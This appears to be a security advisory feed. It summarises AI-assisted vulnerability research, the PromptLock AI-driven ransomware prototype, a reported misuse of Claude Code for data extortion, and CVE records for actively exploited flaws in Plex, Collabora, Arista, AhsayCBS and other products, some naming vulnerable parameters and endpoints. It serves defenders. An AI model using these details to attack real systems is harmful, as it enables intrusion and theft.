JAXA considers exploitation of a previously disclosed VPN vulnerability likely, without naming a CVE. It separately reports 2024 intrusions, including zero-day attacks, with no information leakage confirmed from those events. Sensitive rocket and satellite operations information was not handled on the affected systems.
Action: Consult JAXA's official notice for affected-party communications and response context. It describes faster vulnerability response, stronger monitoring, and impersonation defenses, but does not provide a specific CVE patch or universal VPN-replacement mandate.
Kind: breach; regions: Japan; provenance: editorial.
KEV evidence not available.

### Big Sleep finds a pre-release SQLite memory-safety flaw
https://kevwire.com/record/google-big-sleep-sqlite-2024
Big Sleep finds a pre-release SQLite memory-safety flaw (Nov 1, 2024).
Google Project Zero and DeepMind report that their Big Sleep agent found an exploitable stack buffer underflow in SQLite's generate_series extension. Developers fixed it before an official release, so the report says released SQLite users were not affected.
AI classification: defense; evidence: reported. The teams report actual AI-assisted vulnerability discovery in an experimental pre-release setting. Their claimed research result is attributed, not independently reproduced here.
Sources:
Project Zero and DeepMind: From Naptime to Big Sleep: https://googleprojectzero.blogspot.com/2024/10/from-naptime-to-big-sleep.html
This was experimental variant analysis using researcher-curated commits, not an unassisted audit of every SQLite release. Google explains that existing fuzzing harnesses lacked the affected code and cautions that a target-specific fuzzer might be at least as effective.
Action: Use the documented experiment as an evaluation example for complementary AI-assisted review and fuzzing. This research notice does not establish a patch requirement for released SQLite installations.
Kind: ai-research; regions: Global; provenance: editorial.
KEV evidence not available.

### OSS-Fuzz reports vulnerabilities from AI-generated targets
https://kevwire.com/record/google-oss-fuzz-ai-targets-2024
OSS-Fuzz reports vulnerabilities from AI-generated targets (Nov 20, 2024).
Google's open-source security team reports 26 vulnerabilities found with AI-generated or enhanced fuzz targets, including an OpenSSL flaw. The result concerns improvements to vulnerability discovery, not evidence that every finding was autonomously patched.
AI classification: defense; evidence: reported. Google reports actual use of LLM-generated fuzz targets to discover vulnerabilities. The reported research totals were not independently reproduced in this editorial review.
Sources:
Google Security Blog: Leveling Up Fuzzing: https://security.googleblog.com/2024/11/leveling-up-fuzzing-finding-more.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
The November 20, 2024 article describes target generation, compilation repair, execution, and crash triage. It explicitly treats automatic vulnerability patching and removal of human review as future work. The reported totals describe this research corpus, not worldwide incidence.
Action: Review the published workflow and oss-fuzz-gen framework when evaluating AI-assisted fuzzing. Retain human validation of generated targets, crash interpretation, and proposed fixes rather than assuming end-to-end autonomous remediation.
Kind: ai-research; regions: Global; provenance: editorial.
KEV evidence not available.

### DARPA AIxCC final demonstrates AI-assisted discovery and patching
https://kevwire.com/record/darpa-aixcc-final-results-2025
DARPA AIxCC final demonstrates AI-assisted discovery and patching (Aug 8, 2025).
DARPA reports that AIxCC finalists found 54 of 63 synthetic vulnerabilities and patched 43 in the final competition. Separately, teams found 18 non-synthetic vulnerabilities and provided 11 patches for those real-software findings.
AI classification: defense; evidence: reported. The competition organizer reports actual AI-enabled discovery and patch generation. This review verifies the organizer's published results, not independent reproduction or deployment effectiveness.
Sources:
DARPA AIxCC final results: https://www.darpa.mil/news/2025/aixcc-results
These are competition results on a disclosed software corpus, not live breach counts or a universal patch-success rate. DARPA corrected its original synthetic-vulnerability denominator to 63. The results describe AI combined with other cyber-defense techniques and planned open-source transition.
Action: Evaluate released cyber reasoning systems and competition artifacts against local code and tests before operational adoption. Distinguish synthetic benchmark results, real-software findings, and maintainer acceptance of proposed patches.
Kind: ai-research; regions: Global; provenance: editorial.
KEV evidence not available.

### PromptLock: AI-orchestrated ransomware proof of concept
https://kevwire.com/record/promptlock-ransomware-proof-of-concept-2025
PromptLock: AI-orchestrated ransomware proof of concept (Aug 26, 2025).
ESET describes PromptLock samples that use a local language model through Ollama to generate and execute Lua scripts. Its September 3, 2025 update links the samples to an academic research prototype; ESET did not observe PromptLock in actual attacks.
AI classification: offense; evidence: reported. ESET reports actual model use inside offensive-capability research samples. Offense here describes a laboratory proof of concept, not evidence of criminal deployment or victim impact.
Sources:
ESET PromptLock disclosure with September 3, 2025 update: https://www.welivesecurity.com/en/ransomware/first-known-ai-powered-ransomware-uncovered-eset-research/
Academic preprint: Ransomware 3.0: https://arxiv.org/abs/2508.20444
The samples were uploaded to VirusTotal and support a research demonstration of runtime script generation, not an established deployed criminal campaign. ESET says destructive functionality appeared unimplemented. The academic paper calls its system a threat model and research prototype.
Action: Treat this as proof-of-concept research and consult ESET's published indicators for sample analysis. The cited sources do not establish a production vulnerability, victim-remediation requirement, or patch for a criminal campaign.
Kind: ai-research; regions: Global; provenance: editorial.
KEV evidence not available.

### Anthropic reports Claude Code misuse in data extortion
https://kevwire.com/record/anthropic-claude-code-extortion-report-2025
Anthropic reports Claude Code misuse in data extortion (Aug 27, 2025).
Anthropic reports disrupting an actor that used Claude Code for reconnaissance, credential harvesting, network intrusion, and analysis of stolen data for extortion. This is attributed provider reporting of actual AI use, not an inference from generic automation.
AI classification: offense; evidence: reported. Anthropic directly reports observed misuse of its AI service in an extortion operation. Provider attribution and reported activity are retained without claiming independent verification of victim outcomes.
Sources:
Anthropic: Detecting and countering misuse of AI, August 2025: https://www.anthropic.com/news/detecting-countering-misuse-aug-2025
Anthropic: Challenges in red teaming AI systems: https://www.anthropic.com/news/challenges-in-red-teaming-ai-systems
Anthropic sitemap: https://www.anthropic.com/sitemap.xml
Anthropic: Strengthening our defenses against distillation attacks: https://www.anthropic.com/news/distillation-defenses
Anthropic: Claude Gov models for US national security: https://www.anthropic.com/news/claude-gov-models-for-u-s-national-security-customers
Anthropic: Detecting and preventing distillation attacks: https://www.anthropic.com/news/detecting-and-preventing-distillation-attacks
Anthropic: Frontier threats red teaming for AI safety: https://www.anthropic.com/news/frontier-threats-red-teaming-for-ai-safety
Anthropic: Frontier model security: https://www.anthropic.com/news/frontier-model-security
Anthropic: Detecting and countering malicious uses of Claude: https://www.anthropic.com/news/detecting-and-countering-malicious-uses-of-claude-march-2025
Anthropic: Partnering with Mozilla on Firefox security: https://www.anthropic.com/news/mozilla-firefox-security
Anthropic: Making frontier cybersecurity capabilities available to defenders: https://www.anthropic.com/news/claude-code-security
Anthropic: Fable 5's cyber safeguards and our jailbreak framework: https://www.anthropic.com/news/fable-safeguards-jailbreak-framework
Anthropic: National Security and Public Sector Advisory Council: https://www.anthropic.com/news/introducing-the-anthropic-national-security-and-public-sector-advisory-council
Anthropic: Expanding the Cyber Verification Program: https://www.anthropic.com/news/cyber-verification-program
Anthropic: Investigating three incidents in our cybersecurity evaluations: https://www.anthropic.com/news/investigating-incidents-cybersecurity-evals
Anthropic: Improving our alignment and security practices: https://www.anthropic.com/news/improving-alignment-security-efforts
Anthropic: Alberta uses Claude to find and fix security vulnerabilities: https://www.anthropic.com/news/alberta-government-claude-cybersecurity
Anthropic says it banned associated accounts and shared indicators with authorities. Victim identities and independent confirmation are not supplied in the reviewed article. Its displayed ransom guidance and notes are illustrative simulations, not original attack logs.
Action: Consult the provider's report for its documented misuse pattern and response. The public article does not supply organization-specific remediation instructions or prove outcomes for each targeted victim.
Kind: advisory; regions: Global; provenance: editorial.
KEV evidence not available.

### Arista VeloCloud Orchestrator SQL Injection Vulnerability
https://kevwire.com/record/CVE-2026-114625
Arista VeloCloud Orchestrator SQL Injection Vulnerability (Oct 22, 2026).
VeloCloud Orchestrator (VCO) on-prem has a security issue where this issue may allow a remote attacker to access privileged internal functionality and impact the VCO host. Successful exploitation may compromise the confidentiality, integrity, and availability of the orchestrator and data managed by the orchestrator.

On an affected system, any authenticated user can gain operator privileges and masquerade as a local "superuser operator" user. This includes access to functionality that is intended for internal use only and which is not intended to be remotely accessible.

Hosted, including Dedicated, versions of VCO were impacted and have already been patched.
CVSS 9.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114625).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114625&date=2026-10-25).
Sources:
NVD CVE-2026-114625: https://nvd.nist.gov/vuln/detail/CVE-2026-114625
Vendor advisory (via NVD references): https://www.arista.com/en/support/advisories-notices/security-advisory/24838-security-advisory-0199
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
CISA KEV entry CVE-2026-114625: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114625&date=2026-10-25
VeloCloud Orchestrator (VCO) on-prem has a security issue where this issue may allow a remote attacker to access privileged internal functionality and impact the VCO host. Successful exploitation may compromise the confidentiality, integrity, and availability of the orchestrator and data managed by the orchestrator.

On an affected system, any authenticated user can gain operator privileges and masquerade as a local "superuser operator" user. This includes access to functionality that is intended for internal use only and which is not intended to be remotely accessible.

Hosted, including Dedicated, versions of VCO were impacted and have already been patched.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 23, 2026; federal due date Oct 26, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Collabora Online – Built-in CODE Server OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2026-110447
Collabora Online – Built-in CODE Server OS Command Injection Vulnerability (Oct 14, 2026).
Collabora Online Built-in CODE Server before 26.4.303 (richdocumentscode), a Nextcloud app, allows remote code execution, as exploited in the wild in September and October 2026, a different vulnerability than CVE-2025-66208. This is an OS command injection in proxy.php when the CODE server isn't running (e.g., the product was recently restarted). The vulnerability is not present in standalone Collabora Online servers; only this deployment with CODE Server is affected.
CVSS 9.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110447).
EPSS 12.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110447&date=2026-10-25).
Sources:
NVD CVE-2026-110447: https://nvd.nist.gov/vuln/detail/CVE-2026-110447
Vendor advisory (via NVD references): https://help.nextcloud.com/t/to-collabora-built-in-user-update-asap/250516
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
CISA KEV entry CVE-2026-110447: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
The Hacker News: CISA Flags Two Actively Exploited Critical Flaws in Collabora Online and Arista VeloCloud: https://thehackernews.com/2026/10/cisa-flags-two-actively-exploited.html
The Hacker News syndication feed: https://feeds.feedburner.com/TheHackersNews
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110447&date=2026-10-25
Collabora Online Built-in CODE Server before 26.4.303 (richdocumentscode), a Nextcloud app, allows remote code execution, as exploited in the wild in September and October 2026, a different vulnerability than CVE-2025-66208. This is an OS command injection in proxy.php when the CODE server isn't running (e.g., the product was recently restarted). The vulnerability is not present in standalone Collabora Online servers; only this deployment with CODE Server is affected.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 23, 2026; federal due date Oct 26, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### EG Secure Solutions SiteGuard Server Edition OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2026-106931
EG Secure Solutions SiteGuard Server Edition OS Command Injection Vulnerability (Oct 20, 2026).
EG Secure Solutions SiteGuard Server Edition contains an OS command injection vulnerability which may allow an attacker to execute arbitrary OS commands with root or SYSTEM privileges on the system running the affected product.
CVSS 8.5 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106931).
EPSS 2.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106931&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-106931: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
JPCERT/CC Japan Advisories: Security alert: OS command injection vulnerability in SiteGuard Server Edition (CVE-2026-106931) (published): https://www.jpcert.or.jp/at/2026/at260032.html
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
NVD CVE-2026-106931: https://nvd.nist.gov/vuln/detail/CVE-2026-106931
Vendor advisory (via NVD references): https://www.eg-secure.co.jp/siteguard/news/alert-202610-1
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106931&date=2026-10-25
CISA added this entry on 2026-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global, Japan; provenance: pipeline.
CISA added Oct 20, 2026; federal due date Oct 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Plex Media Server External Control of File Name or Path Vulnerability
https://kevwire.com/record/CVE-2026-96656
Plex Media Server External Control of File Name or Path Vulnerability (Oct 20, 2026).
Plex Media Server contains an external control of file name or path vulnerability which can allow an admin user to write arbitrary files that may be executed on load. This vulnerability can be chained with CVE-2026-96652, CVE-2026-96654, and CVE-2026-96655.
CVSS 8.6 (version 4.0; evidence as of Sep 23, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-96656).
EPSS 1.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96656&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-96656: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96656&date=2026-10-25
CVE Program CNA cisa-cg: https://cveawg.mitre.org/api/cve/CVE-2026-96656
CISA added this entry on 2026-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 20, 2026; federal due date Oct 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Plex Media Server Server-Side Request Forgery (SSRF) Vulnerability
https://kevwire.com/record/CVE-2026-96655
Plex Media Server Server-Side Request Forgery (SSRF) Vulnerability (Oct 20, 2026).
Plex Media Server contains a server-side request forgery (SSRF) vulnerability that could allow an authenticated user to request arbitrary internal or external addresses via the '/video/:/transcode/universal' path parameter. This vulnerability can be chained with CVE-2026-96652, CVE-2026-96654, and CVE-2026-96656.
CVSS 5.3 (version 4.0; evidence as of Sep 23, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-96655).
EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96655&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-96655: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96655&date=2026-10-25
CVE Program CNA cisa-cg: https://cveawg.mitre.org/api/cve/CVE-2026-96655
CISA added this entry on 2026-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 20, 2026; federal due date Nov 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Plex Media Server Improper Neutralization of Encoded URI Schemes in a Web Page Vulnerability
https://kevwire.com/record/CVE-2026-96654
Plex Media Server Improper Neutralization of Encoded URI Schemes in a Web Page Vulnerability (Oct 20, 2026).
Plex Media Server contains an improper neutralization of encoded URI schemes in a web page vulnerability that could allow an attacker to call other plugins' functions and supply their own parameters. This vulnerability can be chained with CVE-2026-96652, CVE-2026-96655, and CVE-2026-96656.
CVSS 6.9 (version 4.0; evidence as of Oct 20, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-96654).
EPSS 1.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96654&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-96654: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96654&date=2026-10-25
CVE Program CNA cisa-cg: https://cveawg.mitre.org/api/cve/CVE-2026-96654
CISA added this entry on 2026-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 20, 2026; federal due date Oct 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Plex Media Server Server-Side Request Forgery (SSRF) Vulnerability
https://kevwire.com/record/CVE-2026-96652
Plex Media Server Server-Side Request Forgery (SSRF) Vulnerability (Oct 20, 2026).
Plex Media Server contains a server-side request forgery (SSRF) vulnerability which could allow an attacker using any X-Plex-Token value to include a full URL in the 'protocol' parameter and force the Plex server to POST to the attacker's chosen destination. This vulnerability can be chained with CVE-2026-96654, CVE-2026-96655, and CVE-2026-96656.
CVSS 5.3 (version 4.0; evidence as of Sep 23, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-96652).
EPSS 1.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96652&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-96652: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96652&date=2026-10-25
CVE Program CNA cisa-cg: https://cveawg.mitre.org/api/cve/CVE-2026-96652
CISA added this entry on 2026-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 20, 2026; federal due date Nov 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Siemens Software Center Uncontrolled Search Path Element Vulnerability
https://kevwire.com/record/CVE-2026-110936
Siemens Software Center Uncontrolled Search Path Element Vulnerability (Oct 15, 2026).
A vulnerability has been identified in Siemens Software Center (All versions < V4.0.9.8). The affected application loads dynamic-link libraries (DLLs) from an uncontrolled search path. This could allow an authenticated local attacker to place a specially crafted DLL in a directory that the application searches, leading to arbitrary code execution with the privileges of the affected application.
CVSS 8.4 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110936).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110936&date=2026-10-25).
Sources:
NVD CVE-2026-110936: https://nvd.nist.gov/vuln/detail/CVE-2026-110936
Vendor advisory (via NVD references): https://cert-portal.siemens.com/productcert/html/ssa-580366.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
CISA KEV entry CVE-2026-110936: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110936&date=2026-10-25
A vulnerability has been identified in Siemens Software Center (All versions < V4.0.9.8). The affected application loads dynamic-link libraries (DLLs) from an uncontrolled search path. This could allow an authenticated local attacker to place a specially crafted DLL in a directory that the application searches, leading to arbitrary code execution with the privileges of the affected application.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 20, 2026; federal due date Nov 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### BeyondTrust Remote Support Authentication Bypass by Spoofing Vulnerability
https://kevwire.com/record/CVE-2026-102764
BeyondTrust Remote Support Authentication Bypass by Spoofing Vulnerability (Oct 15, 2026).
The vulnerability exists within internal components of BeyondTrust’s Remote Support product. The components did not adequately validate the origin of the messages it received. Under the right conditions, this could allow an attacker to perform file operations on the appliance.
CVSS 9.3 (version 4.0; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102764).
EPSS 20.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102764&date=2026-10-25).
Sources:
NVD CVE-2026-102764: https://nvd.nist.gov/vuln/detail/CVE-2026-102764
Vendor advisory (via NVD references): https://www.beyondtrust.com/blog/entry/bt26-05
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
CISA KEV entry CVE-2026-102764: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102764&date=2026-10-25
The vulnerability exists within internal components of BeyondTrust’s Remote Support product. The components did not adequately validate the origin of the messages it received. Under the right conditions, this could allow an attacker to perform file operations on the appliance.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 16, 2026; federal due date Oct 19, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet Multiple Products Path Traversal Vulnerability
https://kevwire.com/record/CVE-2025-61624
Fortinet Multiple Products Path Traversal Vulnerability (Oct 16, 2026).
FortiOS, FortiPAM, FortiProxy, and FortiSwitchManager contain a path traversal vulnerability that may allow an authenticated attacker with admin profile and at least read-write permissions to write or delete arbitrary files via specific CLI commands.
CVSS 5.4 (version 3.1; evidence as of Apr 14, 2026; https://cveawg.mitre.org/api/cve/CVE-2025-61624).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-61624&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-61624: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-61624&date=2026-10-25
CVE Program CNA fortinet: https://cveawg.mitre.org/api/cve/CVE-2025-61624
CISA added this entry on 2026-10-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 16, 2026; federal due date Oct 19, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Atlassian Multiple Products Files or Directories Accessible to External Parties Vulnerability
https://kevwire.com/record/CVE-2026-21589
Atlassian Multiple Products Files or Directories Accessible to External Parties Vulnerability (Oct 15, 2026).
Multiple Atlassian products (Bitbucket Data Center ,Confluence Data Center, Jira Service Management Data Center, Jira Software Data Center, Bamboo Data Center, Crowd Data Center, Crucible and Fisheye) contain a files or directories accessible to external parties vulnerability which could allow an unauthenticated attacker to access specific files within the web application root directory in affected versions.
CVSS 9.3 (version 4.0; evidence as of Oct 19, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-21589).
EPSS 99.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-21589&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-21589: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-21589&date=2026-10-25
CVE Program CNA atlassian: https://cveawg.mitre.org/api/cve/CVE-2026-21589
CISA added this entry on 2026-10-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 15, 2026; federal due date Oct 18, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ahsay AhsayCBS Command Injection Vulnerability
https://kevwire.com/record/CVE-2026-105134
Ahsay AhsayCBS Command Injection Vulnerability (Oct 4, 2026).
A flaw has been found in Ahsay AhsayCBS up to 9.15.2.69/10.3.4.44. This vulnerability affects unknown code of the file /rps/api/json/UpdateReceivers.do of the component Replication Receiver. Executing a manipulation of the argument random can lead to os command injection. It is possible to launch the attack remotely. The exploit has been published and may be used. Upgrading to version 9.15.2.70 and 10.3.4.45 is able to resolve this issue. Upgrading the affected component is advised. The initial patch did not fix the security vulnerability properly. An update of the CVE entry to reflect this became necessary.
CVSS 10.0 (version 4.0; evidence as of Oct 4, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-105134).
EPSS 86.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105134&date=2026-10-25).
Sources:
